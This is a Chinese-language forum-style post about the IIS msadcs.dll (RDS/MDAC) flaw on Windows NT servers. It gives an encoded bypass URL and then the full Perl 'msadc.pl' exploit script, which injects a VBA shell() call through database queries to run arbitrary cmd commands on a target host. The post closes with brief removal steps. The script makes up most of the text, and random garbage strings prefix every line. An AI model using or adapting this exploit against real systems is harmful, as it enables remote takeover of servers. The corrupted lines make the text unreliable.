IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
'b]GcAL DNcf2_m 涉及程序：
lsU|xOB Microsoft NT server
MLtfi{;LH jY-{hW+r 描述：
s+YQ
:>F 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
/zMiy? Q@6OIE 详细：
G4{ zt3{ 如果你没有时间读详细内容的话，就删除:
zGHP{a1O7 c:\Program Files\Common Files\System\Msadc\msadcs.dll
j!B + Q 有关的安全问题就没有了。
;g?oU "Y M JOS,>;;F4 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
{1li3K&0s ><}FyK4C 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
&?f{. 关于利用ODBC远程漏洞的描述，请参看:
&%+}bt5 0(VAmb%{ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm GKu@8Ol-wu Z@>hN%{d+g 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
-'QvUHL| http://www.microsoft.com/security/bulletins/MS99-025faq.asp Ac 0C,*|^ mw! D| 这里不再论述。
1q] V/V} 5, R\tJCK 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
e7T"?s AWsO? |YT /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
qX^#fk7] 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
N%v}$58Z \`}Rdr!p% 7tP?([o%F #将下面这段保存为txt文件，然后: "perl -x 文件名"
- D?T0> oXRmnt #!perl
:CH "cbo #
,+-l1GpL # MSADC/RDS 'usage' (aka exploit) script
8u
Tq0d6( #
?
acm5dN # by rain.forest.puppy
_)
k=F= #
Pc#8~t}2 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
U+>!DtOYK # beta test and find errors!
X<dQq`kZ td% ]l1 use Socket; use Getopt::Std;
JV(qTb W getopts("e:vd:h:XR", \%args);
De%WT:v NNLZ38BV7 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
:0|]cHm 3`uv/O2~i if (!defined $args{h} && !defined $args{R}) {
secD
` ] print qq~
U??P Usage: msadc.pl -h <host> { -d <delay> -X -v }
U\a.'K50F -h <host> = host you want to scan (ip or domain)
CG*eo!Nw -d <seconds> = delay between calls, default 1 second
3B!lE (r%J -X = dump Index Server path table, if available
Cx2s5vJX4p -v = verbose
{G&*\5W -e = external dictionary file for step 5
$ "1Unu&P ~Mbo`:>(4v Or a -R will resume a command session
:@x 24wN/ =cI -<0QSn ~; exit;}
0h/gqlTK1 T;K@3]FbX $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
E/2 kX 3} if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
A:PQIcR;V if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Wd#r-&!6 j if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
QH@?.Kb_qU $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
G8dC5+h if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
JJ`RF I4 {uw ge if (!defined $args{R}){ $ret = &has_msadc;
Bd jo3 eX die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
*@/1] W 1Q"w)Ta
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
&oI;^| . "cmd /c ";
L;N)l2m.\ $in=<STDIN>; chomp $in;
mR U-M| $command="cmd /c " . $in ;
cK4Q! l6O j3 ,6U jlU if (defined $args{R}) {&load; exit;}
tkX7yg>` x>:~=#Vi print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
*"Yz"PK &try_btcustmr;
,rj_P )d5H v2/0 print "\nStep 2: Trying to make our own DSN...";
Lf0Y|^!S_u &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Z Bjy Q4h hr3R C+ y print "\nStep 3: Trying known DSNs...";
UJ 0fYTeuI &known_dsn;
%\Dvng6$ 2L " $p? print "\nStep 4: Trying known .mdbs...";
u`?MV2jU2 &known_mdb;
:EJ8^'0 Q #^%HJp^ if (defined $args{e}){
h 6J0b_3h4 print "\nStep 5: Trying dictionary of DSN names...";
:cU6W2EV &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
I/4:SNha NwPGH= V print "Sorry Charley...maybe next time?\n";
j#L "fW^GM exit;
s |B 4M4Y2f BH ##############################################################################
DP{kin"4I +g/TDwyVH sub sendraw { # ripped and modded from whisker
JL gk? sleep($delay); # it's a DoS on the server! At least on mine...
*+|D8xp my ($pstr)=@_;
mU0j K@^&M socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
qQK0s*^W die("Socket problems\n");
r9nH6 Md\ if(connect(S,pack "SnA4x8",2,80,$target)){
,dn6z#pb+ select(S); $|=1;
tgmG#b* print $pstr; my @in=<S>;
RW| LL@r select(STDOUT); close(S);
mHCp^g4Q return @in;
) H=}bqn } else { die("Can't connect...\n"); }}
8T" C] yF2|w=! ##############################################################################
tg =ClZ- ^w]N#%k\H sub make_header { # make the HTTP request
yKupPp); my $msadc=<<EOT
.}IxZM[}D POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
^6R
Sbi\ User-Agent: ACTIVEDATA
@
3n;>oi Host: $ip
-M=#U\D Content-Length: $clen
7|$cM7 _r Connection: Keep-Alive
5?6U@??] D<=x<. ADCClientVersion:01.06
X*ZTn
7< Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
=AEl:SY+ .quui\I3 --!ADM!ROX!YOUR!WORLD!
U`YPzZp_ Content-Type: application/x-varg
!J#oN+AR Content-Length: $reqlen
7G6XK .*N]SbU<8 EOT
t!}QG"ma ; $msadc=~s/\n/\r\n/g;
0X \OQ; return $msadc;}
+c4-7/kE `| nC r ##############################################################################
f3 _-{<FZ [I6(;lq2 sub make_req { # make the RDS request
%C8p!)Hu my ($switch, $p1, $p2)=@_;
BpL7s
ej 7 my $req=""; my $t1, $t2, $query, $dsn;
^G :}%4 j}P
xq if ($switch==1){ # this is the btcustmr.mdb query
~V#MI@]V~ $query="Select * from Customers where City=" . make_shell();
a ^:on?:9 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
aqL# g18 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
3Jh T `N;}G f-' elsif ($switch==2){ # this is general make table query
( X(61[Lu $query="create table AZZ (B int, C varchar(10))";
5:S =gARz $dsn="$p1";}
>i&"{GZ [/Q .MmnL elsif ($switch==3){ # this is general exploit table query
{WokH;a/ $query="select * from AZZ where C=" . make_shell();
`Wc" Ix0 $dsn="$p1";}
=[A5qwyv ai,\'%N elsif ($switch==4){ # attempt to hork file info from index server
M$Sq3m`{! $query="select path from scope()";
k OYF]^uJ $dsn="Provider=MSIDXS;";}
8&[Lr o9 h"C7l#u elsif ($switch==5){ # bad query
U&F1}P$fb $query="select";
2 pr #qh8 $dsn="$p1";}
7Iz%Jty 0%x"Va~"z $t1= make_unicode($query);
h M_0/o- $t2= make_unicode($dsn);
"gt-bo., $req = "\x02\x00\x03\x00";
6yn34'yw $req.= "\x08\x00" . pack ("S1", length($t1));
,<Ag&*YE4 $req.= "\x00\x00" . $t1 ;
F7f psAt7 $req.= "\x08\x00" . pack ("S1", length($t2));
# 6g9@tE $req.= "\x00\x00" . $t2 ;
>z{*>i,m1 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
l]g
/rs return $req;}
\\ZR~f!< F_ ^)zss ##############################################################################
0`WjM2So tO?NbW cp sub make_shell { # this makes the shell() statement
Rs $fNW@P return "'|shell(\"$command\")|'";}
[N@t/^g RC " a&|{bv ##############################################################################
gu1:%raXd WFr;z* sub make_unicode { # quick little function to convert to unicode
X283 . ? my ($in)=@_; my $out;
&^q!,7.J for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
c:*[HO\ return $out;}
ot%^FvQ[c hB?a{#JL ##############################################################################
W|2o^ V 4*`AYx( sub rdo_success { # checks for RDO return success (this is kludge)
MWGs:tpL4 my (@in) = @_; my $base=content_start(@in);
Z--A:D> if($in[$base]=~/multipart\/mixed/){
c >O>|*I return 1 if( $in[$base+10]=~/^\x09\x00/ );}
kdgU1T@y. return 0;}
g4eEkG`XTS 5{z muv: ##############################################################################
J\@ r ~x5G ,(&p "O": sub make_dsn { # this makes a DSN for us
>Bw<THx my @drives=("c","d","e","f");
x]6 -r`O7r print "\nMaking DSN: ";
|\}& mBR foreach $drive (@drives) {
9#;GG3 print "$drive: ";
`7D]J*?` my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Jn |sS(Q} "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
TTDcVG_} . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
)a7nr<)aU $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
z`Jc pt return 0 if $2 eq "404"; # not found/doesn't exist
Kl\g{>{Uz if($2 eq "200") {
5SB!)F] foreach $line (@results) {
R^p'gQc$
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
\X*Es.;|x } return 0;}
mRurGaR k4C3SI*`4 ##############################################################################
'VMov dCb7sqJ% sub verify_exists {
9 HiH6f^5 my ($page)=@_;
3BZa}Q_ my @results=sendraw("GET $page HTTP/1.0\n\n");
7 I $~E return $results[0];}
'!hA!eo>J Sux/= ' ##############################################################################
gR\z#Sg aAbK{=/y_! sub try_btcustmr {
} OsAO my @drives=("c","d","e","f");
h&| S* my @dirs=("winnt","winnt35","winnt351","win","windows");
ShIJ6L Z ?5IF;vk foreach $dir (@dirs) {
]Pp}=hcD print "$dir -> "; # fun status so you can see progress
p{vGc-zP . foreach $drive (@drives) {
/!i `K { print "$drive: "; # ditto
w=QlQ\ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
&E?TR
A# E $reqlenlen=length( "$reqlen" );
Vr ^UEu.w? $clen= 206 + $reqlenlen + $reqlen;
3>'TYXs- W?:e4:Q my @results=sendraw(make_header() . make_req(1,$drive,$dir));
ZLGglT'EW> if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
R/WbcQ) else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
IDY2X+C# U !,cL c}a ##############################################################################
6"L,#aKm^ " *bP @W sub odbc_error {
o#Viz: my (@in)=@_; my $base;
u ]z87#4 my $base = content_start(@in);
z k;'`@7 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
5Ic'6AIz $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
sU$<v( `" $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#iiXJnG $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
M *-]<!))7 return $in[$base+4].$in[$base+5].$in[$base+6];}
L%`MoTpK q print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
}> ]`#s print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
rj
] ~g $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
$~,J8?)(z c;B: o ##############################################################################
FokSg[ ) 5 (&KBYiwr sub verbose {
3sK^
( my ($in)=@_;
dF l8 'D return if !$verbose;
'lMDlTU O print STDOUT "\n$in\n";}
P!yOA_)as Y-s6Z \ ##############################################################################
Yh["IhjR 2PC:F9dh\ sub save {
nZX`y
-AZ my ($p1, $p2, $p3, $p4)=@_;
UrmnHc>}c open(OUT, ">rds.save") || print "Problem saving parameters...\n";
S8,e `F print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
pSl4^$2XR close OUT;}
pV( qan, _u9bZ' ##############################################################################
rU
|% JKF/z@Vbe\ sub load {
"!9FJ Y my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
!"LFeqI$lr open(IN,"<rds.save") || die("Couldn't open rds.save\n");
0O!A8 FA0 @p=<IN>; close(IN);
=.]{OT $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
| K q<}R $target= inet_aton($ip) || die("inet_aton problems");
aT~=<rEDy print "Resuming to $ip ...";
w+Y_TJ% $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
dAr=X4LE if($p[1]==1) {
{
V$}qa {P $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
H1d2WNr[ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
*AG01# ZF my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
[85b+SKW if (rdo_success(@results)){print "Success!\n";}
C({r1l4[D else { print "failed\n"; verbose(odbc_error(@results));}}
lyzM?lK- elsif ($p[1]==3){
.3CQFbHF if(run_query("$p[3]")){
r`Bm" xI print "Success!\n";} else { print "failed\n"; }}
(-Qr.t_B` elsif ($p[1]==4){
2@Zw #2|] if(run_query($drvst . "$p[3]")){
pM-m Z/? print "Success!\n"; } else { print "failed\n"; }}
8wLGmv^ exit;}
NpH:5hi hiEo sI
C ##############################################################################
5p >rQq0 ;--p/h*. sub create_table {
*pYawT my ($in)=@_;
0O?\0k;o $reqlen=length( make_req(2,$in,"") ) - 28;
y S.)l $reqlenlen=length( "$reqlen" );
C'6c, $clen= 206 + $reqlenlen + $reqlen;
`Ip``I#A my @results=sendraw(make_header() . make_req(2,$in,""));
20w4
'@sq
return 1 if rdo_success(@results);
zmhAeblA my $temp= odbc_error(@results); verbose($temp);
w$0*5n>) return 1 if $temp=~/Table 'AZZ' already exists/;
[
e#[j{ return 0;}
6t{G{ ] `4,]Mr1b ##############################################################################
zgl$ n $wcTUl sub known_dsn {
; o?o92d # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
.\+c { my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
p{x6BVw?> "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
tN;^ {O-(V "banner", "banners", "ads", "ADCDemo", "ADCTest");
`0`#Uf_/$ 7|k2~\@q foreach $dSn (@dsns) {
zbJ}@V print ".";
? CU; next if (!is_access("DSN=$dSn"));
R(s[JH(& if(create_table("DSN=$dSn")){
W/.n
R[! print "$dSn successful\n";
YbF}>1/" if(run_query("DSN=$dSn")){
ma6Wr !J print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]l}bk] print "Something's borked. Use verbose next time\n";}}} print "\n";}
EX@Cf!GjN |fY#2\)Yx ##############################################################################
# V.u[:mO XEUS)X) sub is_access {
qga\icQr my ($in)=@_;
L>p SE'} $reqlen=length( make_req(5,$in,"") ) - 28;
~i0>[S3 ' $reqlenlen=length( "$reqlen" );
Y=@iD\u
$clen= 206 + $reqlenlen + $reqlen;
gZ
us}U my @results=sendraw(make_header() . make_req(5,$in,""));
i r5eR}H my $temp= odbc_error(@results);
l-2lb & n verbose($temp); return 1 if ($temp=~/Microsoft Access/);
#!> `$ return 0;}
& j*Ylj} {KSy I# ##############################################################################
BkB9u&s^ X=? \A{Y sub run_query {
I5 E5,{ my ($in)=@_;
:4)lmIu $reqlen=length( make_req(3,$in,"") ) - 28;
OI:T#uk5 $reqlenlen=length( "$reqlen" );
4{h^O@*g $clen= 206 + $reqlenlen + $reqlen;
|M EJ)LE7 my @results=sendraw(make_header() . make_req(3,$in,""));
Jw^h<z/Ux return 1 if rdo_success(@results);
|!J_3*6$>* my $temp= odbc_error(@results); verbose($temp);
4'.] -u return 0;}
]d* O>Pm p
~)\! ##############################################################################
GL^
j
|1 Uv(}x 7e) sub known_mdb {
}Qh %Z) my @drives=("c","d","e","f","g");
knzQ)iv&& my @dirs=("winnt","winnt35","winnt351","win","windows");
yMOYTN@] my $dir, $drive, $mdb;
D >kkA|> my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
UMH~Q`" xR;z!Tg) # this is sparse, because I don't know of many
)>]SJQ!k my @sysmdbs=( "\\catroot\\icatalog.mdb",
qc 3?Aplj "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
W+.?J
60 "\\system32\\certmdb.mdb",
PPh1 y;D "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
a?)g>e
HN _k5$.f:Yj< my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
iig &O(, "\\cfusion\\cfapps\\forums\\forums_.mdb",
dB Hki*.u "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
mo]>Um'F "\\cfusion\\cfapps\\security\\realm_.mdb",
bBQHxH}vi "\\cfusion\\cfapps\\security\\data\\realm.mdb",
fN
1 :'d "\\cfusion\\database\\cfexamples.mdb",
9Dyw4'W.N "\\cfusion\\database\\cfsnippets.mdb",
LNvkC4 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
R(2MI}T "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
V3_qqz}`r "\\cfusion\\brighttiger\\database\\cleam.mdb",
oTA'=<W?D "\\cfusion\\database\\smpolicy.mdb",
lEpPi @2PK "\\cfusion\\database\cypress.mdb",
c70B "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
`Mo%)I<`= "\\website\\cgi-win\\dbsample.mdb",
_X)]/A%@ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
-./ Y "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
xG(: O@ ); #these are just
II.Wa&w} foreach $drive (@drives) {
{9hhfI#3_ foreach $dir (@dirs){
O>ZJOKe foreach $mdb (@sysmdbs) {
&< hk&B print ".";
!)c0 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
|\]pTA$2 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
`U ;V- if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
i k0w\* print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
^1ks`1 } else { print "Something's borked. Use verbose next time\n"; }}}}}
6,]2;' mW)"~sA foreach $drive (@drives) {
C |rl",& foreach $mdb (@mdbs) {
w$Mb+b$ print ".";
e co=ia if(create_table($drv . $drive . $dir . $mdb)){
!Tu.A@ print "\n" . $drive . $dir . $mdb . " successful\n";
l`];CALA4 if(run_query($drv . $drive . $dir . $mdb)){
5JZZvc$au print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
[ HjGdC } else { print "Something's borked. Use verbose next time\n"; }}}}
=IIE]<z }
,=P0rbtK t;[Q&J l ##############################################################################
+ >v{#A_u E
eCgV{9B sub hork_idx {
@T-}\AU print "\nAttempting to dump Index Server tables...\n";
^N ~Jm&I print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
:wJ!rn,4 $reqlen=length( make_req(4,"","") ) - 28;
S HC VjI6 $reqlenlen=length( "$reqlen" );
T f^O( $clen= 206 + $reqlenlen + $reqlen;
.gI9jRdKw my @results=sendraw2(make_header() . make_req(4,"",""));
qj?I*peK) if (rdo_success(@results)){
wJF$<f7P my $max=@results; my $c; my %d;
UOI Z8Po for($c=19; $c<$max; $c++){
td+[Na0d $results[$c]=~s/\x00//g;
1 z[blNs& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
tQ4{:WPG $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Zn'y"@%t[ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
T0}P ' q $d{"$1$2"}="";}
~0 n9In% foreach $c (keys %d){ print "$c\n"; }
!i6 aA1' } else {print "Index server doesn't seem to be installed.\n"; }}
j0jam:.p PvdR)ZE m ##############################################################################
Fw;Y)y=O ..^,* sub dsn_dict {
O0"&wvR+5 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
i)e)FhEY6 while(<IN>){
O11.wLNH $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
v aaZ next if (!is_access("DSN=$dSn"));
nzu
3BVv if(create_table("DSN=$dSn")){
Mq,_ DQ print "$dSn successful\n";
vGPaW YV if(run_query("DSN=$dSn")){
JGk,u6K7 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
M, U YDZ', print "Something's borked. Use verbose next time\n";}}}
fI0L\^b% print "\n"; close(IN);}
gClDVO [h2V9>4: ##############################################################################
h O:X\:G e 3>k" sub sendraw2 { # ripped and modded from whisker
qsL6*(S(r sleep($delay); # it's a DoS on the server! At least on mine...
?)5M3 lV3k my ($pstr)=@_;
8|,-P=%t socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
G ,i%:my7 die("Socket problems\n");
8 _[f#s`) if(connect(S,pack "SnA4x8",2,80,$target)){
Qod2m$>wp} print "Connected. Getting data";
c[0$8F> open(OUT,">raw.out"); my @in;
Web8"8eD select(S); $|=1; print $pstr;
!PrO~ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
L9U<E $%# close(OUT); select(STDOUT); close(S); return @in;
& ~[%N
O } else { die("Can't connect...\n"); }}
9/|i. 2& Afa{f}st ##############################################################################
J XnPKAN O^gq\X4} sub content_start { # this will take in the server headers
PZl(S}VY my (@in)=@_; my $c;
9uREbip for ($c=1;$c<500;$c++) {
u]c nbm if($in[$c] =~/^\x0d\x0a/){
3/ @'tLtN if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
)u&_ }6z else { return $c+1; }}}
I@q>ES! 1H return -1;} # it should never get here actually
Z_Ma|V?6 Y<.F/iaH ##############################################################################
+=@Z5eu p:ST$ 1 K sub funky {
P-`^I`r my (@in)=@_; my $error=odbc_error(@in);
osX23T~- if($error=~/ADO could not find the specified provider/){
_.06 ^5o print "\nServer returned an ADO miscofiguration message\nAborting.\n";
F]?$Q'U exit;}
@kwD$%*0 if($error=~/A Handler is required/){
7"JU)@ U] print "\nServer has custom handler filters (they most likely are patched)\n";
6YU2
!x exit;}
C5RDP~au if($error=~/specified Handler has denied Access/){
TJ5{Ee GV print "\nServer has custom handler filters (they most likely are patched)\n";
A?|cJ"N exit;}}
:7>Si% @4B2O"z` ##############################################################################
U w`LWG3T L{f P_DIa sub has_msadc {
y!!+IeReS my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
e?lqs,m@" my $base=content_start(@results);
D&9j$#9Rh return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
*Ucyxpu~$ return 0;}
::T<de 7 6eK^T= ########################
JkxS1 FvI`S > r rwsj` 解决方案：
TcfBfscU 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
S c~kO4 2、移除web 目录: /msadc
